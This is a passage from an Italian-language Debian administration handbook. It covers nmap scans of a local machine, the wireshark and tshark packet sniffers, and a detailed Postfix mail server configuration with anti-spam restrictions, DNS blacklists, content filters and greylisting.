rDNS record for 192.168.1.242: mirtuel.internal.placard.fr.eu.org

Not shown: 998 closed ports

PORT    STATE SERVICE

22/tcp  open  ssh

111/tcp open  rpcbind

Nmap done: 1 IP address (1 host up) scanned in 2.41 seconds

# nmap -A localhost

Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-30 21:17 CEST

Nmap scan report for localhost (127.0.0.1)

Host is up (0.000039s latency).

Other addresses for localhost (not scanned): ::1

Not shown: 997 closed ports

PORT    STATE SERVICE VERSION

22/tcp  open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)

| ssh-hostkey:

|   2048 33:a1:d8:b1:e5:5b:b2:0d:15:1b:8e:76:7f:e4:d7:3d (RSA)

|   256 8f:83:cf:fa:b3:58:54:9a:1d:1b:4c:db:b1:e2:58:76 (ECDSA)

|_  256 fa:3d:58:62:49:92:93:90:52:fe:f4:26:ca:dc:4c:40 (ED25519)

25/tcp  open  smtp    Exim smtpd 4.92

| smtp-commands: mirtuel Hello localhost [127.0.0.1], SIZE 52428800, 8BITMIME, PIPELINING, CHUNKING, PRDR, HELP,

|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP

631/tcp open  ipp     CUPS 2.2

| http-methods:

|_  Potentially risky methods: PUT

| http-robots.txt: 1 disallowed entry

|_/

|_http-server-header: CUPS/2.2 IPP/2.1

|_http-title: Home - CUPS 2.2.10

Device type: general purpose

Running: Linux 3.X

OS CPE: cpe:/o:linux:linux_kernel:3

OS details: Linux 3.7 - 3.10

Network Distance: 0 hops

Service Info: Host: debian; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 12.33 seconds

Come previsto, sono elencate le applicazioni SSH ed Exim4. Da notare che non tutte le applicazioni sono in ascolto su tutti gli indirizzi IP; poiché Exim4 è accessibile solo sull'interfaccia di loopback lo, appare solo durante l'analisi di localhost e non durante la scansione di mirtuel (che corrisponde all'interfaccia eth0 sulla stessa macchina).

10.9.3. Sniffer: tcpdump e wireshark

A volte si ha la necessità di osservare ciò che realmente transita sul cavo, pacchetto per pacchetto. In questi casi è richiesto un «analizzatore di frame», più noto come sniffer. Tale strumento rileva tutti i pacchetti che raggiungono una determinata interfaccia di rete e li visualizza in una maniera più facile da consultare.

Il venerabile strumento in questo settore è tcpdump, disponibile come strumento standard su una vasta gamma di piattaforme. Esso consente molte tipologie di cattura del traffico di rete, ma la rappresentazione di questo traffico resta piuttosto oscura. Pertanto non verrà approfondito.

Uno strumento più recente (e moderno), wireshark (nel pacchetto wireshark), è diventato il nuovo punto di riferimento nell'analisi del traffico di rete grazie ai suoi molti moduli di decodifica che permettono una analisi semplificata dei pacchetti catturati. I pacchetti vengono visualizzati graficamente con un'organizzazione in base ai livelli di protocollo. Questo consente all'utente di visualizzare tutti i protocolli coinvolti in un pacchetto. Ad esempio, prendendo un pacchetto contenente una richiesta HTTP, wireshark visualizza, separatamente, le informazioni relative al livello fisico, il livello Ethernet, le informazioni del pacchetto IP, i parametri di connessione TCP, ed infine la richiesta HTTP stessa.

Figura 10.1. L'analizzatore del traffico di rete wireshark

In our example, the packets traveling over SSH are filtered out (with the !tcp.port == 22 filter). The packet currently displayed was developed at the transport layer of the SSHv2 protocol.

SUGGERIMENTO wireshark senza interfaccia grafica: tshark

Quando non si può eseguire un'interfaccia grafica, o non si vuole farlo per un qualsiasi motivo, esiste anche una versione solo testo di wireshark che va sotto il nome tshark (nel pacchetto separato tshark). La maggior parte delle funzioni di cattura e decodifica sono ancora disponibili, ma la mancanza di una interfaccia grafica limita necessariamente le interazioni con il programma (filtraggio dei pacchetti dopo che sono stati catturati, il monitoraggio di una determinata connessione TCP, e così via). Può comunque essere utilizzato come primo approccio. Se si vogliono fare altre manipolazioni e queste richiedono l'interfaccia grafica, i pacchetti possono essere salvati in un file e questo file può essere caricato in un wireshark con interfaccia grafica in esecuzione su un'altra macchina.

Capitolo 11. Servizi di rete: Postfix, Apache, NFS, Samba, Squid, LDAP, SIP, XMPP, TURN

I servizi di rete sono i programmi con cui gli utenti interagiscono direttamente durante le loro attività quotidiane. Essi sono la punta dell'iceberg del sistema informativo ed in questo capitolo ci concentreremo su di loro; le componenti invisibili a cui si affidano sono l'infrastruttura che abbiamo descritto precedentemente. Di solito richiedono la tecnologia di crittografia descritta in Sezione 10.2, «X.509 certificates».

11.1. Server di posta

Gli amministratori della Falcot Corporation hanno scelto Postfix come loro server di posta elettronica per via della sua affidabilità e per la semplicità di configurazione. Allo stesso modo il suo design assicura che ogni operazione sia eseguita in un processo con l'insieme minimo di permessi richiesti, cosa che garantisce una misura ottimale contro i problemi di sicurezza.

ALTERNATIVA Il server Exim4

Debian utilizza Exim4 come server di posta predefinito (per questo l'installazione iniziale include Exim4). La configurazione è fornita da un pacchetto separato, exim4-config, e viene automaticamente personalizzata in base alle risposte fornite ad un insieme di quesiti posti da Debconf in modo molto simile a come avviene con le domande poste dal pacchetto postfix.

La configurazione può essere in un singolo file (/etc/exim4/exim4.conf.template) oppure suddivisa in parti all'interno della cartella /etc/exim4/conf.d/. In entrambi i casi, i file non sono utilizzati da update-exim4.conf come modelli per la generazione di /var/lib/exim4/config.autogenerated. Quest'ultimo è utilizzato da Exim4. Grazie a questo meccanismo, i valori ottenuti attraverso la configurazione debconf di Exim — che sono memorizzati in /etc/exim4/update-exim4.conf.conf — possono essere inseriti nel file di configurazione di Exim anche quando l'amministratore oppure un'altro pacchetto hanno cambiato la configurazione predefinita di Exim.

La sintassi dei file di configurazione di Exim4 ha le sue peculiarità e la sua curva di apprendimento. Una volta comprese queste peculiarità Exim4 è un server di posta veramente completo e potente come testimoniano le decine di pagine di documentazione.

→ https://www.exim.org/docs.html

11.1.1. Installare Postfix

Il pacchetto postfix include il demone SMTP principale. Altri pacchetti (come postfix-ldap e postfix-pgsql) aggiungono funzionalità addizionali a Postfix, incluso l'accesso ai database di mappatura. Dovrebbero essere installati solo se si ritiene di averne bisogno.

FONDAMENTALI SMTP

SMTP (Simple Mail Transfer Protocol, RFC 5321) è il protocollo utilizzato dai server di posta per scambiare ed instradare le email.

Saranno posti diversi quesiti Defconf durante l'installazione del pacchetto. Le risposte consentono di generare una prima versione del file di configurazione /etc/postfix/main.cf.

La prima domanda riguarda la tipologia di configurazione. Solo due delle risposte proposte sono rilevanti nel caso in cui il server sia connesso ad Internet: «Sito internet» e «Sito internet con smarthost». La prima opzione è appropriata per un server che riceve la posta in arrivo ed invia le email in uscita direttamente ai rispettivi destinatari: pertanto si adatta bene al caso della Falcot Corporation. La seconda opzione è appropriata per un server che riceve le email in arrivo normalmente ma che invia le email in uscita attraverso un server SMTP intermedio, lo «smarthost», anziché consegnarle direttamente al server del destinatario. Questo è particolarmente utile per chi ha con un indirizzo IP dinamico poiché molti server di posta rifiutano i messaggi che arrivano direttamente da questo tipo di indirizzo. In questo caso lo smarthost sarà generalmente il server SMTP dell'ISP che a sua volta è configurato per accettare ed inoltrare in modo appropriato le email provenienti dai clienti. Questo tipo di configurazione (con smarthost) è rilevante anche per i server che non sono costantemente connessi ad internet poiché evita di dover gestire una coda di messaggi non consegnabili da dover riprovare a inviare in seguito.

VOCABOLARIO ISP

ISP è l'acronimo di "Internet Service Provider". Rappresenta un'entità, spesso un'azienda, che fornisce connessioni ad Internet ed i servizi base correlati (email, news e così via).

La seconda domanda riguarda il nome completo della macchina, utilizzato per generare gli indirizzi email a partire dal nome utente locale. Il nome completo della macchina appare dopo la chiocciola («@»). Nel caso della Falcot, la risposta dovrebbe essere mail.falcot.com. Questa è l'unica domanda posta in via predefinita tuttavia la configurazione a cui porta non è sufficientemente completa per le necessità della Falcot: per questo motivo gli amministratori eseguono dpkg-reconfigure postfix per poter personalizzare altri parametri.

Una delle domande addizionali chiede tutti i nomi di dominio relativi alla macchina. La lista predefinita include il suo nome completo oltre ad alcuni sinonimi per localhost, ma il dominio principale falcot.com dev'essere aggiunto manualmente. Più generalmente, bisognerebbe rispondere a questa domanda con tutti i nomi di dominio per i quali la macchina agirà come server MX; in altre parole‍, tutti i nomi a dominio per cui il DNS dice che questa macchina accetterà email. Questa informazione finisce nella variabile mydestination del file di configurazione principale di Postfix, /etc/postfix/main.cf.

Figura 11.1. Ruolo del record MX nel DNS durante l'invio di un'email

EXTRA Interrogare i record MX

Quando il DNS non ha un record MX per un dominio, il server di posta tenterà di inviare i messaggi allo stesso host utilizzando il record A corrispondente (o AAAA in IPv6).

In alcuni casi l'installazione può anche chiedere quali reti devono essere autorizzate ad inviare email attraverso la macchina. Nella sua configurazione predefinita Postfix accetta unicamente email provenienti dalla macchina che lo ospita; la rete locale viene generalmente aggiunta. Gli amministratori della Falcot Corporation hanno aggiunto 192.168.0.0/16 alla risposta predefinita. Se la domanda non è posta, la relativa variabile nel file di configurazione è mynetworks come si vede nell'esempio qui sotto.

Le email locali possono anche essere consegnate con procmail. Questo strumento consente agli utenti di elaborare le loro email in arrivo attraverso le regole presenti nel file ~/.procmailrc. Sia Postfix che Exim4 suggeriscono procmail per impostazione predefinita, ma ci sono alternative come maildrop od i filtri Sieve.

Dopo questa prima fase gli amministratori dispongono del file di configurazione seguente; sarà utilizzato come punto di partenza per aggiungere alcune funzionalità addizionali nelle prossime sezioni.

Esempio 11.1. File /etc/postfix/main.cf iniziale

# See /usr/share/postfix/main.cf.dist for a commented, more complete version

# Debian specific:  Specifying a file name will cause the first

# line of that file to be used as the name.  The Debian default

# is /etc/mailname.

#myorigin = /etc/mailname

smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU)

biff = no

# appending .domain is the MUA's job.

append_dot_mydomain = no

# Uncomment the next line to generate "delayed mail" warnings

#delay_warning_time = 4h

readme_directory = no

# See http://www.postfix.org/COMPATIBILITY_README.html -- default to 2 on

# fresh installs.

compatibility_level = 2

# TLS parameters

smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem

smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key

smtpd_use_tls=yes

smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache

smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache

# See /usr/share/doc/postfix/TLS_README.gz in the postfix-doc package for

# information on enabling SSL in the smtp client.

smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination

myhostname = mail.falcot.com

alias_maps = hash:/etc/aliases

alias_database = hash:/etc/aliases

myorigin = /etc/mailname

mydestination = mail.falcot.com, falcot.com, localhost.localdomain, localhost

relayhost =

mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 192.168.0.0/16

mailbox_size_limit = 0

recipient_delimiter = +

inet_interfaces = all

inet_protocols = all

SICUREZZA Certificati SSL Snake oil

I certificati snake oil, come le "medicine" snake oil vendute da antichi ciarlatani, non hanno alcun valore: non si può fare affidamento su di loro per autenticare il server poiché sono generati automaticamente da certificati auto-firmati. Tuttavia, sono utili per migliorare la privacy degli scambi.

In generale dovrebbero essere usati solo per scopi di test, e il servizio normale deve usare certificati reali. L'iniziativa Let's encrypt offre certificati SSL/TLS gratuiti e affidabili, che possono essere generati utilizzando il pacchetto certbot come descritto in Sezione 11.2.2, «Adding support for SSL» ed utilizzati in postfix come questo:

smtpd_tls_cert_file = /etc/letsencrypt/live/DOMAIN/fullchain.pem

smtpd_tls_key_file = /etc/letsencrypt/live/DOMAIN/privkey.pem

smtpd_tls_CAfile = /etc/ssl/certs/ca-certificates.crt

smtpd_tls_CApath = /etc/ssl/certs

smtp_tls_CApath = /etc/ssl/certs

Un modo diverso di generare i propri certificati è descritto in Sezione 10.2.2, «Infrastruttura a chiave pubblica: easy-rsa».

11.1.2. Configurare i domini virtuali

Il server di posta può ricevere anche email indirizzate ad altri domini oltre a quello principale: questi domini sono indicati come «domini virtuali». In molti casi, dove questo avviene, le email non sono destinate ad utenti locali. Postfix fornisce due funzionalità interessanti per gestire i domini virtuali.

ATTENZIONE Domini virtuali e domini canonici

Nessuno dei domini virtuali dev'essere riportato nella variabile mydestination. Questa variabile contiene unicamente i nomi dei domini «canonici» direttamente associati alla macchina ed ai suoi utenti locali.

11.1.2.1. Domini virtuali alias

Un dominio virtuale alias contiene solo indirizzi alias, cioè indirizzi che si occupano di inoltrare le email ad altri indirizzi.

Questo tipo di dominio sarà abilitato aggiungendo il suo nome alla variabile virtual_alias_domains ed indicando un file di mappatura indirizzi nella variabile virtual_alias_maps.

virtual_alias_domains = falcotsbrand.com

virtual_alias_maps = hash:/etc/postfix/virtual

Il file /etc/postfix/virtual descrive le mappature con una sintassi piuttosto lineare: ogni riga contiene due campi separati da uno spazio; il primo campo è il nome dell'alias, il secondo campo è una lista di indirizzi email a cui reindirizza. La sintassi speciale @domain.com copre tutti i restanti alias di un dominio.

webmaster@falcotsbrand.com  jean@falcot.com

contact@falcotsbrand.com    laure@falcot.com, sophie@falcot.com

# L'alias qui sotto è generico e copre tutti gli indirizzi all'interno

# del dominio flacotsbrand.com che non sono altrimenti coperti in questo file.

# Questi indirizzi inoltrano le email allo stesso utente nel

# dominio falcot.com.

@falcotsbrand.com           @falcot.com

Dopo aver cambiato /etc/postfix/virtual la tabella postfix /etc/postfix/virtual.db deve essere aggiornata eseguendo sudo postmap /etc/postfix/virtual.

11.1.2.2. Caselle di posta su domini virtuali

ATTENZIONE Domini virtuali combinati?

Postfix non consente di utilizzare contemporaneamente lo stesso dominio in virtual_alias_domains e virtual_mailbox_domains. Comunque ogni dominio di virtual_mailbox_domains viene implicitamente incluso in virtual_alias_domains, cosa che permette di mescolare caselle ed alias all'interno di un dominio virtuale.

I messaggi indirizzati ad una casella su di un dominio virtuale sono conservati in caselle di posta non assegnate ad un utente locale del sistema.

Abilitare una casella di posta in un dominio virtuale richiede di inserire il dominio nella variabile virtual_mailbox_domains fornendo un file di mappatura caselle in virtual_mailbox_maps. Il parametro virtual_mailbox_base contiene la directory dove le caselle di posta saranno conservate.

virtual_mailbox_domains = falcot.org

virtual_mailbox_maps = hash:/etc/postfix/vmailbox

virtual_mailbox_base = /var/mail/vhosts

I parametri virtual_uid_maps e virtual_gid_maps forniscono le mappature tra un indirizzo email e l'utente di sistema (o gruppo rispettivamente) che "possiede" la casella di posta corrispondente. Per assegnare tutte le caselle di posta allo stesso proprietario/gruppo la sintassi è static:5000.

Ancora una volta, la sintassi del file /etc/postfix/vmailbox è piuttosto lineare: due campi separati da uno spazio. Il primo campo è un indirizzo email all'interno di uno dei domini virtuali e il secondo campo è la posizione della casella di posta associata (relativamente alla directory specificata in virtual_mailbox_base). Se il nome della casella di posta termina con una barra (/) le email saranno conservate nel formato maildir, diversamente sarà utilizzato il formato tradizionale mbox. Il formato di maildir utilizza l'intera directory per conservare una casella di posta: ogni messaggio sarà conservato in un file separato. Diversamente, nel formato mbox, l'intera casella di posta elettronica è conservata in un file ed ogni riga che comincia con «From » (From seguito da uno spazio) segnala l'inizio di un nuovo messaggio.

# La posta di Jean è conservata come maildir, con

# un file per email in una directory dedicata

jean@falcot.org falcot.org/jean/

# La posta di Sophie è conservata in un tradizionale file «mbox»,

# dove tutte le email sono concatenate in un unico file

sophie@falcot.org falcot.org/sophie

11.1.3. Restrizioni per ricezione ed invio

Il crescente numero di email massive non richieste (spam) richiede di essere sempre più rigorosi quando si stabilisce quali email devono essere accettate da un server. Questa sezione presenta alcune tra le strategie incluse in Postfix.

Se le regole di rifiuto sono troppo rigide, può succedere che anche il traffico legittimo di email venga bloccato. È quindi una buona abitudine testare le restrizioni e prevenire il rifiuto permanente delle richieste durante questo periodo usando la direttiva soft_bounce = yes. Facendo precedere una direttiva di tipo reject da warn_if_reject verrà registrato solo un messaggio di log invece di rifiutare la richiesta.

CULTURA Il problema dello spam

"Spam" è un termine generico utilizzato per indicare tutte le email commerciali non richieste (note anche come UCE) che inondano le nostre caselle di posta elettronica; gli individui senza scrupoli che le inviano sono definiti spammer. Costoro si preoccupano poco del disturbo che causano perché inviare email costa poco e basta che una piccola percentuale di destinatari sia attratta dalle loro offerte perché l'operazione di spam produca più denaro di quanto sia costata. Il processo è quasi completamente automatizzato e qualsiasi indirizzo email reso pubblico (per esempio in un forum, negli archivi di una mailing list, in un blog, ecc.) sarà probabilmente individuato dai robot degli spammer e sottoposto ad un flusso infinito di messaggi non richiesti. Anche ogni contatto trovato in un sistema compromesso viene preso di mira.

Tutti gli amministratori di sistema tentano di affrontare questo disturbo con i filtri anti-spam, ma naturalmente gli spammer continuano a lavorare per aggirare questi filtri. Alcuni di loro prendono persino in affitto da varie organizzazioni criminali reti di macchine compromesse da worm. Recenti statistiche stimano che fino al 95% delle email in circolazione su Internet sono spam!

11.1.3.1. Restrizioni d'accesso basate su IP

La direttiva smtpd_client_restrictions controlla quali macchine sono autorizzate a comunicare con il server di posta.

Quando una variabile contiene una lista di regole, come nell'esempio qui sotto, queste regole sono valutate in ordine, dalla prima all'ultima. Ogni regola può accettare il messaggio, rifiutarlo o lasciare la decisione alla regola seguente. Come conseguenza l'ordine è importante ed invertire due regole può causare un comportamento molto diverso.

Esempio 11.2. Restrizioni basate sull'indirizzo del client

smtpd_client_restrictions =

permit_mynetworks,

warn_if_reject reject_unknown_client_hostname,

check_client_access hash:/etc/postfix/access_clientip,

reject_rhsbl_reverse_client dbl.spamhaus.org,

reject_rhsbl_reverse_client rhsbl.sorbs.net,

reject_rbl_client zen.spamhaus.org,

reject_rbl_client dnsbl.sorbs.net

La direttiva permit_mynetworks usata come prima regola, accetta tutte le email provenienti da una macchina nella rete locale (così come definita nella variabile di configurazione mynetworks).

The second directive would normally reject emails coming from machines without a completely valid DNS configuration. Such a valid configuration means that the IP address can be resolved to a name, and that this name, in turn, resolves to the IP address. This restriction is often too strict, since many email servers do not have a reverse DNS for their IP address. This explains why the Falcot administrators prepended the warn_if_reject modifier to the reject_unknown_client directive: this modifier turns the rejection into a simple warning recorded in the logs. The administrators can then keep an eye on the number of messages that would be rejected if the rule were actually enforced, and make an informed decision later if they wish to enable such enforcement.

SUGGERIMENTO Tabelle di accesso

I criteri di restrizione includono tabelle modificabili dall'amministratore che elencano combinazioni di mittenti, indirizzi IP e nomi host autorizzati oppure vietati. Queste tabelle possono essere create utilizzando una copia decompressa del file /usr/share/doc/postfix/examples/access.gz fornito con il pacchetto postfix-doc. Questo modello è documentato al suo interno, ovvero ogni tabella descrive la propria sintassi.

La tabella /etc/postfix/access_clientip elenca gli indirizzi IP e le reti; /etc/postfix/access_helo elenca i nomi di dominio; /etc/postfix/access_sender contiene gli indirizzi email dei mittenti. Tutti questi file necessitano di essere trasformati in tabelle-hash (un formato ottimizzato per l'accesso veloce) dopo ogni modifica, con il comando sudo postmap /etc/postfix/file.

La terza direttiva consente all'amministratore di preparare una blacklist ed una whitelist di server di posta, conservate nel file /etc/postfix/access_clientip. I server nella whitelist sono considerati affidabili, e le email che provengono da loro non passano attraverso le successive regole di filtraggio.

Le ultime quattro regole rifiutano ogni messaggio proveniente da un server elencato in una delle blacklist indicate. RBL è l'acronimo di Remote Black List, e RHSBL sta per Right-Hand Side Black List. La differenza è che la prima elenca gli indirizzi IP, mentre la seconda elenca i nomi di dominio. Ci sono diversi servizi di questo tipo. Essi elencano domini ed indirizzi IP con una cattiva reputazione, server mal configurati che gli spammer utilizzano per inoltrare le loro email, così come macchine infettate da worm o virus usate per inoltrare la posta elettronica.

SUGGERIMENTO Whitelist e liste RBL

Le blacklist includono alle volte server legittimi che sono stati vittime di problemi. In queste situazioni, tutte le email che provengono da questi server saranno respinte a meno che il server non sia incluso in una whitelist definita da /etc/postfix/access_clientip.

La prudenza raccomanda di includere nella whitelist tutti i server da cui si ricevono generalmente molte email e che sono considerati affidabili.

11.1.3.2. Controllare la validità dei comandi EHLO o HELO

Ogni comunicazione SMTP inizia con un comando HELO (o EHLO), seguito dal nome del server di posta elettronica di invio. Controllare la validità di questo nome può essere interessante. Per far rispettare pienamente le restrizioni elencate in smtpd_helo_restrictions dev'essere abilitata l'opzione smtpd_helo_required. In caso contrario i client potrebbero saltare le restrizioni non inviando alcun comando HELO/EHLO.

Esempio 11.3. Restrizioni sul nome annunciato in EHLO

smtpd_helo_required = yes

smtpd_helo_restrictions =

permit_mynetworks,

reject_invalid_helo_hostname,

reject_non_fqdn_helo_hostname,

warn_if_reject reject_unknown_helo_hostname,

check_helo_access hash:/etc/postfix/access_helo,

reject_rhsbl_helo multi.surbl.org

La prima direttiva permit_mynetworks consente a tutte le macchine nella rete locale di presentarsi liberamente. Questo è importante poiché molti programmi di posta non rispettano in modo adeguato questa parte del protocollo SMTP e possono presentarsi con nomi senza senso.

La regola reject_invalid_helo_hostname rifiuta le email quando la presentazione EHLO annuncia un nome host sintatticamente scorretto. La regola reject_non_fqdn_helo_hostname rifiuta i messaggi quando il nome host presentato non è un nome di dominio completamente qualificato (ovvero include il nome di dominio oltre al nome host). La regola reject_unknown_helo_hostname rifiuta i messaggi se il nome presentato non esiste nel DNS. Poiché quest'ultima regola, sfortunatamente, porta a troppi rifiuti gli amministratori hanno modificato i suoi effetti con il modificatore warn_if_reject che, come primo passo, riporta un semplice avviso; possono anche decidere di rimuovere questo modificatore in una fase successiva, dopo aver monitorato gli effetti di questa regola.

The reject_rhsbl_helo allows to specify a black list to check the hostname against an RHSBL.

Utilizzare permit_mynetworks come prima regola ha un interessante effetto collaterale: le regole seguenti si applicano unicamente agli host fuori dalla rete locale. Questo consente di inserire in blacklist tutti gli host che si presentano come parte della rete di falcot.com, per esempio aggiungendo la riga falcot.com REJECT Non sei nella nostra rete! al file /etc/postfix/access_helo.

11.1.3.3. Accettare o rifiutare in base al mittente annunciato

Ogni messaggio ha un mittente annunciato dal comando MAIL FROM del protocollo SMTP. Ancora una volta questa informazione può essere verificata in diversi modi.

Esempio 11.4. Controlli sul mittente

smtpd_sender_restrictions =

check_sender_access hash:/etc/postfix/access_sender,

reject_unknown_sender_domain,

reject_unlisted_sender,

reject_non_fqdn_sender,

reject_rhsbl_sender rhsbl.sorbs.net

La tabella /etc/postfix/access_sender mappa alcuni trattamenti speciali riservati ad alcuni mittenti. Generalmente questo significa elencare alcuni mittenti in una whitelist oppure in una blacklist.

La regola reject_unknown_sender_domain richiede un dominio valido per il mittente poiché è necessario per un indirizzo valido. La regola reject_unlisted_sender rifiuta i mittenti locali se l'indirizzo non esiste: questo impedisce alle email di essere inviate da un indirizzo non valido nel dominio falcot.com ed i messaggi originati da joe.bloggs@falcot.com sono accettati esclusivamente se questo indirizzo esiste realmente.

Per concludere, la regola reject_non_fqdn_sender rifiuta le email che si presume provengano da un indirizzo senza un nome di dominio pienamente qualificato. In pratica questo significa rifiutare email provenienti da utente@macchina: l'indirizzo dev'essere annunciato come utente@macchina.example.com o utente@example.com.

La regola reject_rhsbl_sender rifiuta i mittenti basandosi su un servizio RHSBL (basato sul dominio).

11.1.3.4. Accettare o rifiutare in base al destinatario

Ogni email ha almeno un destinatario, annunciato con il comando RCPT TO del protocollo SMTP. Anche questi indirizzi concorrono alla validazione del messaggio, tuttavia sono meno rilevanti rispetto ai controlli effettuati sull'indirizzo del mittente.

Esempio 11.5. Controlli sul destinatario

smtpd_recipient_restrictions =

permit_mynetworks,

reject_unauth_destination,

reject_unlisted_recipient,

reject_non_fqdn_recipient,

permit

reject_unauth_destination è la regola base che richiede ai messaggi provenienti dall'esterno di essere indirizzati ai noi: messaggi inviati ad indirizzi non gestiti da questo server saranno rifiutati. Senza questa regola un server diviene un open relay che permette agli spammer di inviare posta non richiesta; questa regola è quindi caldamente raccomandata, e dovrebbe essere posizionata preferibilmente vicino all'inizio della lista, per evitare che altre regole possano autorizzare l'inoltro del messaggio prima che la sua destinazione sia stata controllata.

La regola reject_unlisted_recipient rifiuta ragionevolmente i messaggi inviati a utenti locali che non esistono. Infine reject_non_fqdn_recipient rifiuta gli indirizzi non completamente qualificati: questo rende impossibile l'invio di email a jean o jean@macchina e richiede invece l'uso dell'indirizzo completo come jean@macchina.falcot.com o jean@falcot.com.

La direttiva permit non è strettamente necessaria. Tuttavia, può essere utile alla fine di una lista di restrizioni per rendere esplicita la politica predefinita.

11.1.3.5. Restrizioni associate con il comando DATA

Il comando DATA di SMTP è emesso prima dei contenuti del messaggio. Non fornisce alcuna informazione di per sé, a parte l'annunciare quello che viene immediatamente dopo. Tuttavia può a sua volta essere soggetto a controlli.

Esempio 11.6. Controlli su DATA

smtpd_data_restrictions = reject_unauth_pipelining

La direttiva reject_unauth_pipelining fa sì che il messaggio sia rifiutato se il mittente invia un comando prima che sia inviata una risposta al comando inviato in precedenza. Questo protegge da una ottimizzazione comunemente utilizzata dagli spammer automatizzati poiché a loro non importa un fico secco delle risposte e si concentrano unicamente nell'invio del maggior numero di email nel minor tempo possibile.

11.1.3.6. Applicare restrizioni

Nonostante i comandi precedenti verificano informazioni nelle varie fasi dello scambio SMTP, Postfix, di default, invia l'effettivo rifiuto a seguito del comando RCPT TO.

Questo significa che anche se il messaggio viene rifiutato a causa di un comando EHLO non valido, Postfix conosce il mittente ed il destinatario quando annuncia il rifiuto e pertanto potrà poi inserire nel log un messaggio più esplicito di quanto avesse potuto fare nel caso la transazione si fosse interrotta all'inizio. Inoltre un certo numero di client SMTP non si attende problemi durante i primi comandi SMTP e questi client saranno meno disturbati da questo rifiuto posticipato.

Il vantaggio finale di questa scelta è di permettere alle regole di accumulare informazioni durante i vari passaggi dello scambio di SMTP; questo consente di definire permessi più dettagliati, come rifiutare una connessione non locale se si annuncia con un mittente locale.

Il comportamento predefinito è controllato dalla regola smtpd_delay_reject.

11.1.3.7. Filtrare in base al contenuto del messaggio

La validazione ed il sistema di restrizioni non sarebbero completi senza un modo per applicare controlli al contenuto dei messaggi. Postfix distingue tra i controlli applicati all'intestazione e quelli applicati al corpo del messaggio.

Esempio 11.7. Abilitare filtri basati sul contenuto

header_checks = regexp:/etc/postfix/header_checks

body_checks = regexp:/etc/postfix/body_checks

Entrambi i file contengono una lista di espressioni regolari (spesso chiamate regexp o regex) e relative azioni da intraprendere quando l'intestazione (o il corpo) delle email corrisponde con l'espressione.

APPROFONDIMENTO Tabelle regexp

Il file /usr/share/doc/postfix/examples/header_checks.gz (dal pacchetto postfix-doc) e header_checks(5) contiene molti commenti esplicativi che possono essere utilizzati come punto di partenza per creare i file /etc/postfix/header_checks e /etc/postfix/body_checks.

Esempio 11.8. File d'esempio /etc/postfix/header_checks

/^X-Mailer: GOTO Sarbacane/ REJECT Io combatto lo spam (GOTO Sarbacane)

/^Subject: *La tua email contiene dei VIRUS/ DISCARD notifica di virus

FONDAMENTALI Espressioni regolari

Il termine espressione regolare (abbreviato con regexp o regex) fa riferimento ad una notazione generica per esprimere la descrizione dei contenuti e/o la struttura di una stringa di caratteri. Alcuni caratteri speciali permettono di definire alternative (per esempio pippo|pluto corrisponde sia con "pippo" che con "pluto"), insiemi di caratteri permessi (per esempio [0-9] significa "qualsiasi numero" e . — un punto — significa "qualsiasi carattere"), quantità (s? corrisponde a s o ad una stringa vuota, ovvero 0 oppure 1 occorrenza di s; s+ corrisponde ad una o più occorrenze consecutive del carattere s; e così via). Le parentesi permettono di raggruppare i risultati della ricerca.

La precisa sintassi di queste espressioni varia tra i vari strumenti che le utilizzano ma le funzionalità base sono similari.

→ http://it.wikipedia.org/wiki/Espressione_regolare

La prima controlla l'intestazione che fa riferimento al software email; se viene individuato GOTO Sarbacane (un software per l'invio massivo di email) il messaggio viene rifiutato. La seconda espressione controlla l'oggetto del messaggio: se indica la notifica di un virus possiamo decidere di non respingere il messaggio ma di limitarci a scartarlo immediatamente.

Utilizzare questi filtri è un'arma a doppio taglio poiché è facile produrre regole troppo generiche e perdere di conseguenza email legittime. In questi casi i messaggi vanno perduti ed inoltre i rispettivi mittenti ricevono messaggi d'errore non desiderati (e fastidiosi).

11.1.4. Impostare il greylisting

Il "greylisting" è una tecnica di filtraggio per cui un messaggio viene inizialmente rifiutato con un messaggio d'errore temporaneo e viene accettato solo dopo un successivo tentativo trascorso un certo intervallo di tempo. Questo filtraggio è particolarmente efficiente contro lo spam inviato dalle tante macchine infette da virus e worm poiché questi software si comportano raramente come veri e propri agenti SMTP (i quali controllano i codici d'errore e ritentano l'invio dei messaggi successivamente), soprattutto perché molti degli indirizzi raccolti sono davvero validi e riprovare significherebbe soltanto perdere tempo.

Postfix non fornisce il greylisting nativamente ma esiste una funzionalità che permette di delegare la decisione riguardo il rifiuto o l'accettazione di un messaggio ad un programma esterno. Il pacchetto postgrey contiene proprio un programma di questo tipo, progettato per interfacciarsi con questo servizio per la delega delle politiche di accesso.

Una volta installato, postgrey si attiva come demone e si pone in ascolto sulla porta 10023. Postfix può quindi essere configurato per utilizzarlo, aggiungendo il parametro check_policy_service come restrizione aggiuntiva:

smtpd_recipient_restrictions =

permit_mynetworks,

[...]

check_policy_service inet:127.0.0.1:10023

Ogni volta che Postfix raggiunge questa regola si connette al demone postgrey e gli invia informazioni a proposito del messaggio in questione. Postgrey prende quindi in considerazione i tre parametri IP/mittente/destinatario e controlla il suo database per verificare se sono già apparsi recentemente. Se è così Postgrey risponde autorizzando il messaggio, altrimenti risponde indicando che il messaggio dev'essere temporaneamente respinto ed i tre parametri vengono inseriti nel database.

Il principale svantaggio del greylisting è dato dal ritardo causato ai messaggi legittimi, cosa che non è sempre accettabile. Inoltre incrementa il carico sui server che inviano molte email legittime.

IN PRATICA Aspetti negativi del greylisting

